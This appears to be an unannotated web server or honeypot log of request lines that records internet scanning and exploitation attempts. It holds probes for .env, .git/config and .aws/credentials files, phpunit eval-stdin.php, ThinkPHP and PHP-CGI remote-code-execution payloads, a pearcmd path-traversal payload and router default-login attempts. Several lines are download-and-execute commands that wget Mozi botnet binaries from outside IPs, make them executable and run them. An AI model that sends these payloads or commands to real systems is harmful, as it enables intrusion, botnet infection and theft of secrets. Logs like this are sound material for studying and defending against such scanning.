129	1	\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03&\xE0\x8A\x0B\x22\x0F\xFDg7\xEB\xEFZ\xBF\xEF=\xAF+\xAEV\x83\x13\x96\xFF}\x83\xD7\xD6\xDF\xB8\x84=\xD4\x00\x00h\xCC\x14\xCC\x13\xC0/\xC0+\xC00\xC0,\xC0\x11\xC0\x07\xC0’\xC0#\xC0\x13\xC0\x09\xC0(\xC0$\xC0\x14\xC0
130	1	GET //filefuns.php HTTP/1.1
131	1	GET //hplfuns.php HTTP/1.1
132	1	GET //connects.php HTTP/1.1
133	1	GET /app/resources/.git/config HTTP/1.1
134	1	\x16\x03\x01\x00\xE2\x01\x00\x00\xDE\x03\x03\xF9\xFF,iop\xF0 ^\x8D;\xE9\x7F\x13\xF9\x91\xAA\xAEok\xB3\x8C?\xE7\x87-\xE5\xAD\x1D\xEC}\x95 A[\x11\xFAp&\xE4\x19e\xD7\xC9\xDA`\x01\xD8\x0B\xFA\x0E\xF3~\x05\x93iJ\x05=?o\xD9\xB5\xE6J\x00\x1A\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
135	1	GET /tmp/.env HTTP/1.1
136	1	GET /modules/db/.git/config HTTP/1.1
137	1	GET /docker/.git/config HTTP/1.1
138	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xCE\xC6\xBD\x99K\xB1\xBA\xA7\x0C\xA9\xFAb\xFB\xEB\x13\x09W\x0F7\xB6x-\xACi=^\xF6\xAE\x89RN\xD0 0\x9F\x8Dc\xB8\x05\xFD\xF2\xA6%e\x90\xD48\x15#\x90yYT\x8E\x1F\xB4\x08\x8FE\xAB\xD6\xC4\xDA?\xC2\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
139	1	\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03\xBBn\xC4\x18\xA9Y\xE0\x1F]\x01\xCE\xABX\x9E\x00
140	1	GET /geoserver HTTP/1.1
141	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xDC.\xB4\xF8\x8DM\xED!\xDC\xEA!\x93?\x92Y\xB3HfW\xF0\x09\xDE\x95\xE2.?\x97\xFC\xBC`\xD3\xD0 \xB4iK\xDC\xF17\xA3i\xD5n\x9C\x8F\x91:#v\x1F\xA1r\x14\xC3\xDE\xFB\xEF\x04\x03\xB5\xFD\xD5\x8CBY\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
142	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xD6\xCB\x86j\xBF=\xB5\xB3\x10\xDD\xB2\x04\x07\xB54\xC9H\x15~\xA5’\xD1\xABT\xB7l\x1B\xB05>\xD1\xBF \x00\xD1 \x94
143	1	GET /Media/Images/BF8AD73A.PNG HTTP/1.1
144	1	GET /Media/Images/F81B47A3.PNG HTTP/1.1
145	1	GET /Media/Images/54FA37E3.PNG HTTP/1.1
146	1	\x16\x03\x01\x00\xE2\x01\x00\x00\xDE\x03\x03X\xF1(\x0C-\x82\x8A\x84\xFBS\x04$\xE5\xDA\x0C\x19\xDB=\xF7,\xAC\x17f\x9F\x0C\xE4\xCCw\xAF(\xCF& o\xE1\x11\x1Du\x13\xC3G\xF6\xC3\xEF\x17\xB7\x02\xAD\xF0\xB6\xBA&K\x00\x08)\xF2\x19\xC1\xDATi\xD6\xD3\xB3\x00\x1A\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
147	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x036\x18S\x02\xF1\xAC\xFB\xB2/\x84n\x12zF-\x5C\xB3_\xF8\xD7:\x99v\x1B\xCB\x0E\xA0\x1F\x17\xF9n6\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
148	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x07\x9F\xE1\xA3\x91\xE1\x18\xC6n\xC9\xA1\x14\xCE\xAF\xD8:‘H\xC0ZkV\xCD\xAAV\xF5\x9E\xAA\xA5\xCAgA\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
149	1	\x16\x03\x01\x01\x17\x01\x00\x01\x13\x03\x03iP\xB3\x86\x06_\xF1\x9B\xDFkU\x1B5\xA9O\x84V:\xCB\xDB)S\x89X\xA0\x11\x9E\xC6J\xA8P: m0\x8C\xF5\x8F\x19\xAC!\xB0\xA7uI\xBA\xFF\x83\xD43\x81:M\xAA\xD7\x82\xB7`\x0F<K%\x02\x05K\x004\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x09\x00\x9E\xCC\xA8\xCC\xAA\x003\x00=\x00\x16\xC0
150	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03W\x95\xA6h\x00d\xF2%\xEA\x89’\xCB\xDD\xB0\xF7\x04\x1D\x09\xE23\xE8\x80)$\xB0\xA4\x1F\xBD\xA1\xC7\x88\xA0\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
151	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03F:\xD2\x7F\x8E\xD16\xDD\xF6]\xBB\xDF\x8B\xA1H\xE1b\x13\xA7\x814\x93\xB2Pb\x1B\xF0\xC7\xBD\xF6/\xF7 \xD4\x22\x060\x15u\x8E\xBF\x11\xBD\x8B\xD7\xFF\xE1N5\xF6\x88j\xD9,\xB5
152	1	\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\x824WL\xA8 X\xB6\x994^\x9D\xCF\x9B\xFB6\xEB\xB5B\xFB\x9B\xF5\x9F\xAD\xD0U_\xB5\xAA\x7F\x15m\x00\x00h\xCC\x14\xCC\x13\xC0/\xC0+\xC00\xC0,\xC0\x11\xC0\x07\xC0’\xC0#\xC0\x13\xC0\x09\xC0(\xC0$\xC0\x14\xC0
153	1	GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
154	1	GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
155	1	GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
156	1	GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
157	1	GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
158	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin2/scripts/setup.php HTTP/1.0
159	1	POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
160	1	l\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00
161	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xE3\x98\x83C=?\xAC\x97Yk\xD3T\xD5\xD7\xCA\xAA\xED,k5\xC7\xCA\xD6\x95\x5C\xF2\x19u\x8D:\x5C\xA1 \x9F\x03*N\xC7p\xE0\x04\xF7\xF1`c:\x5C^\xAC\x08\x83\xA6~\xA3>\x94v\x87\xFDS\xE9\xAC\x0E\xA31\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
162	1	GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
163	1	\x16\x03\x01\x00\xE2\x01\x00\x00\xDE\x03\x03c\xDC\xEB\x1C\xF5mH\x85\xFE\x13G\xF4d\x96\x02\xBA\xAC\xB7\xFF\xCFu@\x88\xC6\x17\xBCP,_TD\x01 \xC9^\xC4nujd \x8D\xD6l?\x9F’\xEF\x99n\x06\xA2\xC6\x89\x04u\x8D\x13K\xCC}\xFA\x81\x8E\xE6\x00\x1A\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
164	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xF3^o\xB2\xCD\xF9\xB4\x04\x19\xA8<;\x7F\x16\x12\xEBK\x820\x19\x0B3\x96x\xF8\xFD\xD4~F\xEC\xFF\xB5\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
165	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xE6\xEC\x9DG\xFEm\xB3\x18]\xAC\x19\xF1\xDC\xBD
166	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03=L\xCC\xE7
167	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03M4\x9Bg\xCAy\xF2a\x8BHBf\x98\xF9\xA8B+\x0C}\xF1\xE7*\x19\xE7\xC2\x8F\x04\xC5\x13\xEA\xEE\xF4 \x1AA\x88U\xFA}\x84\xAB\x85\xFFjl\xDD\xC3U\x9F\xE5Ce-\x95&\x96\x15 =\x7F\x17\xF6\x842\xD9\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
168	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03f\x97U\xD3\xF1\xAFoj\x19#\xDDC\x1F\xF2\xB0\xC4\xE7\xDA\x97\x09Z\x92u\x1C\xD3\x93\x86-\xE0{5\xE3 g\xF8=m\x88\x9D\x16\x19\x89+\x01\x19A\xBF\x11W\xB6\x81^\xAE
169	1	\x16\x03\x01\x00\xE2\x01\x00\x00\xDE\x03\x03!i\x04\x91\x19\xA9\xFF\x0C%\xB2[i\x07C^n\xC6\xB3>\xBF\xEEx\xCF\xBE\xF2I\xBFO\x18\xE1SE hrQ\x1F\xBB\xF0%\x93
170	1	\x04\x01\x01\xBB\xACC\xA8j\x00
171	1	GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
172	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x93\xDA0l\xD1\xE3\xB9/\xCD
173	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03tf4Nn\xD2k\x1C\xAEh\xB1\x02Z}\xBA\xEB[l\xAB\xE9@\xA2\xFB\xD6\xA2\xE2d\x1E\xA0\x930\x87\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
174	1	GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
175	1	GET /modules/api/.git/config HTTP/1.1
176	1	GET /scripts/dev/.git/config HTTP/1.1
177	1	GET /project/backend/.git/config HTTP/1.1
178	1	GET /infra/.git/config HTTP/1.1
179	1	GET /images/.git/config HTTP/1.1
180	1	GET /client/.git/config HTTP/1.1
181	1	GET /public_html/.git/config HTTP/1.1
182	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xF4t\xD4\x01\x0EY\xD09b$V\x0B\xA2\xEB\xCF\x04z\xFEXT\xE1\x87\xDE\xEB\xD0Wp\x8B\xF6QZ\xAD \xA5\xABc3\x17\x10\xF3)\xC2\x22\xFDz.b\xE6\x81\xB0R\xEC\xEF\x02S7\x83\x9B\xFA3\xB7\x93Q\x06\xA1\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
183	1	\x16\x03\x01\x00\x80\x01\x00\x00
184	1	GET /templates/.git/config HTTP/1.1
185	1	GET /repo/.git/config HTTP/1.1
186	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x97\xC5H\x80\x0E\xE4\xCC=\xB12\xC0\xEF6\x87\xB2^\x8FbBau\x8B\xA4\x0F6\xA3N\xEAo\x05$\x1C x\xA1\x5C\xF6;\xF0\xA2\x90\xD8W\x8D#\xF4\xE6\xE1\x0C\x00\xDBuD\x8B\x06\xEE\x95t\x8BZ\xDE\xF7\x15\x13^\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
187	1	GET /configuration/.env HTTP/1.1
188	1	GET /.env.config HTTP/1.1
189	1	GET /project/.git/config HTTP/1.1
190	1	GET /Media/Images/1801359D.PNG HTTP/1.1
191	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x84\x09G\x90\x0B\x01T\xEB\xA1g\x85/\xDC\xD2\xBD\xFB\xBE\xE44
192	1	GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
193	1	\x16\x03\x01\x00u\x01\x00\x00q\x03\x03\xD3\xB3)\xB8\xA2\xA1\xC6\x92{\x17VvI\xB0\x9D\xD7\xE1M\x7F
194	1	\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\xEC\xE8\x9DQ\xD6\x81\xDB\x10\x01\xD2\xA0\x95\x18\xE7\x13Yc\xB8\x98\x80\xC5X\xA5\xAF;\x92f;b\xFF2\x01\x00\x00h\xCC\x14\xCC\x13\xC0/\xC0+\xC00\xC0,\xC0\x11\xC0\x07\xC0’\xC0#\xC0\x13\xC0\x09\xC0(\xC0$\xC0\x14\xC0
195	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xB6@\x09\x0BZ\xB0\xF0qf\xC1\x94w?\x1A\xCC\xBE/BSU\x05\x9F\xE1\xC7\xC1\xE2TH:]\xED\x88 ;\x98\xF1\xD4\x0F\xB0~\xD4\xEB\x92\xA2\xC7gx\xCB\xFD\xD1\xD1\x03\x90.\x87\x1CG3\x92\x19\x81AXe<\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
196	1	\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03\x1BZ\xDF\x943U\x83\xFD4\xB9\x1C\xFA\x93zw\xE0]\x9F\xA7\xB2\x83\x22#\x8C\xC3\xA7\xD8\xCD\x80\xE9\xAB\x9F \xA4.l\xFE\x94\xECf~\xB0\xA6m\x8B/[\x17\x15\x1D\xB1\xC1e\x0E\xC0)$o\xBE\x18T8
197	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x035\xF9\x85\xCB\x07E\x0CP\x87e\x09\x89\xB8gR\xF994\x96\xABOq=\xC3\x86\x88l\xD8\xCBr\xB3\xD9 *\xBD
198	1	GET /app/.git/config HTTP/1.1
199	1	GET /cgi-bin/authLogin.cgi HTTP/1.1
200	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03(\xDE-Z\xF9iVOL\xE5\x18r\x06\xE6\x95\xC6\xBA+\x05\xAB\xEEMVO\xD1\xB8
201	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x98\xA2\x8AVE\xEBi\xDF\xDF\x92\x08\x00r\xC8A\xBE\xA7\xB9\xCF\xAC
202	1	GET /.env.dev.local HTTP/1.1
203	1	GET /.env.uat HTTP/1.1
204	1	GET /.env.dist HTTP/1.1
205	1	GET /assets../.git/config HTTP/1.1
206	1	GET /.env.development.local HTTP/1.1
207	1	GET /solr/admin/info/system HTTP/1.1
208	1	GET /.env.sandbox HTTP/1.1
209	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xEB\xD1\xDE\x02\xD9\xD0\xB9\xEA\xBF\xFFI]R\x81\x86YC\x91\xA0\x22\x88\xC9\xCD\x81\xD0\xC8\xC7-\xFB.)\x03 \xA7\xBF\x06\xC8\x93mW\xE8)\xAE\xE0\xA5\x1B\x95Y0\xEC\xAD\x8D\xA2\xC5\xB4l\x08\x15\x1C\xDF[ \xDB\x83\xEE\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
210	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xF0\xE9}P)y\xC8,~\xDD#\x8D\x8C\xFC\xC3\xBFs\xEE\xE1\x8B\xEB\x9Fq\x1F\x88\xB9*\x0B\xB6\xC7+\xD7 \xF8V\xDD\xB9Q\xE4DI\xD3\xD3\xE50E\x95\xADs&\x90\xD6\xF2<b\xE2\x02]\x8A\xCEU\xD3\xC7\x85\xF9\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
211	1	\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\xD1\xAEk3\x934V\xDF\xA2K\xAC@\xDA\xF5\xD8\xCB\xD9\x0E\xC2\x14?\x15S4\xC0\x06^\xC3\x15\xC2\xB9\xBA\x00\x00h\xCC\x14\xCC\x13\xC0/\xC0+\xC00\xC0,\xC0\x11\xC0\x07\xC0’\xC0#\xC0\x13\xC0\x09\xC0(\xC0$\xC0\x14\xC0
212	1	GET /v2/_catalog HTTP/1.1
213	1	GET /containers/json HTTP/1.1
214	1	GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
215	1	GET /app/.env HTTP/1.1
216	1	GET /public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
217	1	GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
218	1	GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
219	1	GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
220	1	GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
221	1	GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
222	1	GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
223	1	GET http://xxx.xxx.xxx.xxx:80/mysqlmanager/scripts/setup.php HTTP/1.0
224	1	POST /GponForm/diag_Form?images/ HTTP/1.1
225	1	/tmp/gpon80&ipv=0
226	1	\x00\x0E\x08\x86\x88\xFB\x1DW\xF5\xCA\xE7\x00\x00\x00\x00\x00
227	1	\x00\x0E8\x86\x88\xFB\x1DW\xF5\xCA\xE7\x00\x00\x00\x00\x00
228	1	GET /web/.env HTTP/1.1
229	1	GET /django/.env HTTP/1.1
230	1	GET /flask/.env HTTP/1.1
231	1	GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
232	1	GET /laravel/.env HTTP/1.1
233	1	GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
234	1	GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
235	1	GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
236	1	GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
237	1	GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
238	1	GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
239	1	GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
240	1	GET /fastapi/.env HTTP/1.1
241	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x9B\xE7{\x86/\x9D\xC9
242	1	GET /app/frontend/.git/config HTTP/1.1
243	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x039\xFFh\x1E\x1E\xA6\x1DO\xDA\x13\xEC\x94\xC7\xCE}b\xFF\xD248)\xC8\xC5\xE0X\xAC%\xC7y\xB4\x89q <\xAFu\xAC!n\x14:K\xCD\xE2\x5C\x10\xBF\xB2\xDDE\x08o\x9F[b\x98Q\xC2\x83\x0F\xF5\x17d\x9E\x07\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0
244	1	\x00\x1E\x00\x06\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07version\x04bind\x00\x00\x10\x00\x03
245	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xE3\xC3\x8Dm\xF1\xABd2\x98\x1C *h,M\xC7v\xD3\xF41\xFA}\xB2B\xC3\xA9,\x1Ef\xF51R\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
246	1	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php HTTP/1.1
247	1	GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
248	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03F\xF2p\xA7g\x22\x01\xB1\xC5W\xC0\xAF\xA4\xA3\xD4\xD5\xA0\x22\x5C\xBB\x05\xC1d.[’\x0F;t
249	1	GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1
250	1	GET /Odin/http/call1741222114 HTTP/1.1
251	1	GET /OdinHttpCall1741222114 HTTP/1.1
252	1	POST /sdk HTTP/1.1
253	1	GET /odinhttpcall1741222114 HTTP/1.1
254	1	\x16\x03\x00\x00S\x01\x00\x00O\x03\x00?G\xD7\xF7\xBA,\xEE\xEA\xB2`~\xF3\x00\xFD\x82{\xB9\xD5\x96\xC8w\x9B\xE6\xC4\xDB<=\xDBo\xEF\x10n\x00\x00(\x00\x16\x00\x13\x00
255	1	HELP
256	1	\x00\x0C\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00
257	1	GET /.env.orig HTTP/1.1
258	1	GET /.aws/credentials HTTP/1.1
259	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xFD6\xBC\xA9\x94bc,M\xF2&\x03\x90u\xD1\xA9f\xF2)\x94\x1C\xC5\xBCELD\xEE6\xD9\xB7\xFE4\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
260	1	\x16\x03\x01\x01$\x01\x00\x01 \x03\x03\x8A\xA6\xC2`=E*\x16\x9C\x8Af\xF5\xB0][\xE3\x1FZ\xF2~\xA5e>MA((H\xFF\xF8\xD6^ \xF9\x1C3\xD3\xE0\xC5\xD1\xE4\xD7\xFD\xF8y\xBB>\x87T\xF5\xC4\x96B\x9D\x97\x1Fp\xAC\x89\x09/\x94\x16}X\x00>\x13\x02\x13\x03\x13\x01\xC0,\xC00\x00\x9F\xCC\xA9\xCC\xA8\xCC\xAA\xC0+\xC0/\x00\x9E\xC0$\xC0(\x00k\xC0#\xC0’\x00g\xC0
261	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xD3\xCC\x04\xA5\x84\x94\xD6F\xF5\x9E\x1F\xE6:\x9Ap\xBC\xD0-\x07\xE1\x0CC\xCD%$\xA2\xE2<\x8D\xE1/\x11\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
262	1	GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
263	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x8Bm\xAA\x05\xF5_4\x01\x0B\xC8\x83\x15\xB8 F2D61P\xC9\xC9GB\x9B\x90\xD3\xDA[\xFF+\xC2 \x03#‘4X\xC3\x08#\xA2\xFA2\xEA\xAD\xE8\x81;\x10F#\x5C\xAEpN-\xDB*\x01\xDD!\xBF\xE5\x16\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
264	1	\x04\x01\x01\xBB\x00\x00\x00\x01proxychecker\x00api.ip.pn\x00
265	1	POST /cgi-bin/hotspotlogin.cgi HTTP/1.1
266	1	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.230.66.14:11243/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
267	1	GET /shell?cd+/tmp;rm+-rf+*;wget+http://220.248.25.154:42703/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
268	1	\x16\x03\x01\x01$\x01\x00\x01 \x03\x03\xA8\x8B\xB7\x80Y{\xE8\x02\xE7=\xA8\xA3Yx\xA2\x22o\xD64\x06\xF9X9\x89\xB2}\xCFo\xB56\xA26 z\xB3\xF0\x1E6u\x81p\xA0\x7F\xFC0\xC1\xA4\x83\xC3x\xEB\xEE\x19x#\xEF[\x08\x80\xBC\xCAT\x97\x8E\x17\x00>\x13\x02\x13\x03\x13\x01\xC0,\xC00\x00\x9F\xCC\xA9\xCC\xA8\xCC\xAA\xC0+\xC0/\x00\x9E\xC0$\xC0(\x00k\xC0#\xC0’\x00g\xC0
269	1	\x16\x03\x03\x01\xA7\x01\x00\x01\xA3\x03\x03k\xD7\xF1;\xB7\xB3\xE1\x22\x9E\x9C#@1l`\xCD\xB6\xD1\xE3<\xEC\xB3\xF8\x8E\xC2CoQ$3#\x09 ;q\xBF\x5C\xFC\xF3\x08\xC3\xC1`\xA3\x18O\xC7\x1E\x22\x9E\xB231~\xAB\xA16\xD7\xD7\xBF\xDF
270	1	\x16\x03\x03\x01\xA7\x01\x00\x01\xA3\x03\x03\x89\xFD\x0E\xE1\xAC\x02\x9C\x0F+\xE7\xCC\xF3B\xF2K2$cy
271	1	GET /sitemap.xml HTTP/1.1
272	1	GET /.well-known/security.txt HTTP/1.1
273	1	GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
274	1	CONNECT api.ip.pn:443 HTTP/1.1
275	1	GET http://xxx.xxx.xxx.xxx:80/PHPMYADMIN/scripts/setup.php HTTP/1.0
276	1	GET http://xxx.xxx.xxx.xxx:80/mysqladmin/scripts/setup.php HTTP/1.0
277	1	GET http://xxx.xxx.xxx.xxx:80/SQL/scripts/setup.php HTTP/1.0
278	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.5.5-pl1/scripts/setup.php HTTP/1.0
279	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.5.5/scripts/setup.php HTTP/1.0
280	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.5.4/scripts/setup.php HTTP/1.0
281	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.5.7-pl1/scripts/setup.php HTTP/1.0
282	1	\x16\x03\x01\x00\xF7\x01\x00\x00\xF3\x03\x03\xE9I
283	1	POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1
284	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03e;M\x07\x893f\xBEm\x7F\xAD\x04z\xD4\xD5\x1Au\x9A\xBE,\xE0\xB0\xED\xCB\x8E\x92*\xBC\xF6\x09?\xAB \xF2k\xCD\x8D\xE7C\xFB\x9F\x98\x8A\x92\xD4\x02@}\xDC\xFC\xDD\x8BB\xC5\x8F\x7Fo\xDFe\x92PZ\x13\x0E\xFE\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
285	1	GET /ajax/xl2024.php HTTP/1.1
286	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xAE\x08}f\xCA,#HM9\xE7\xAC\xB2\x05\xD1\x84\x10v\xE8\xD8JIs\x1AH\x92\xD0\xF7I\xA7\xC4\x98\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
287	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x87\xED\xF4\xEF\x8D\xFA*\xAE\xF6\xD7\xD2sw\xB7\xFE\x01^\xD5)\xEB\xADY\xF03\xBB\xB1\xE65\xFE\xBB\xE4\x1B\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
288	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xB5amZ\x17\xA4\x17\xC4\x18\xC0\xFA[\x9F\x1CTX\xCEf\x94\x98n\xC2\xC1\xB3\x09,t\xF0+\xC6\xDCg\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
289	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin/scripts/setup.php HTTP/1.0
290	1	GET http://xxx.xxx.xxx.xxx:80/phpmyadmin/scripts/setup.php HTTP/1.0
291	1	GET http://xxx.xxx.xxx.xxx:80/admin/pma/scripts/setup.php HTTP/1.0
292	1	GET http://xxx.xxx.xxx.xxx:80/sqlweb/scripts/setup.php HTTP/1.0
293	1	GET http://xxx.xxx.xxx.xxx:80/webdb/scripts/setup.php HTTP/1.0
294	1	GET http://xxx.xxx.xxx.xxx:80/websql/scripts/setup.php HTTP/1.0
295	1	GET http://xxx.xxx.xxx.xxx:80/_phpMyAdmin/scripts/setup.php HTTP/1.0
296	1	GET http://xxx.xxx.xxx.xxx:80/php/scripts/setup.php HTTP/1.0
297	1	GET http://xxx.xxx.xxx.xxx:80/db/scripts/setup.php HTTP/1.0
298	1	GET http://xxx.xxx.xxx.xxx:80/sqlmanager/scripts/setup.php HTTP/1.0
299	1	GET http://xxx.xxx.xxx.xxx:80/MyAdmin/scripts/setup.php HTTP/1.0
300	1	GET http://xxx.xxx.xxx.xxx:80/phpmanager/scripts/setup.php HTTP/1.0
